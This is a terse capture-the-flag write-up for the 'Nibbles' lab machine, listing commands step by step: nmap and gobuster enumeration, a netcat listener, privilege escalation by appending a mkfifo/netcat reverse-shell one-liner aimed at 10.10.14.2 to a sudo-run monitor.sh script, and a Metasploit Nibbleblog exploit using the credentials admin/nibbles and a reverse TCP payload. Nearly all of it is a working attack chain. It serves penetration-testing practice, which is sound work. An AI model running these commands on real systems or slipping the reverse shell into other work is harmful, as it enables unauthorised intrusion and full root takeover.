NIBBLES MY WRITEUP

1. Enumeration:

- nmap -sV --script=http-enum -oA nibbles_nmap_http_enum <IP>

2. Web Footprinting:

- gobuster dir -u http://10.129.42.190/nibbleblog/ -w /usr/share/dirb/wordlists/common.txt

3. Initial Foothold:

- nc -lvnp 9443
- cat /home/nibbler/user.txt

4. Privilege Escalation:

- unzip /home/nibbler/personal.zip
- cat monitor.sh
- sudo python3 -m http.server 8080
- echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 8443 >/tmp/f' | tee -a monitor.sh
- sudo /home/nibbler/personal/stuff/monitor.sh
- nc -lvnp 8443
- cat root.txt

5. Metasploit:

- Msfconsole
- Search nibbleblog
- Use 0
- Set rhost <IP>
- Set username admin
- Set password nibbles
- Set targeturi nibbleblog
- Set payload generic/shell_reverse_tcp
- Exploit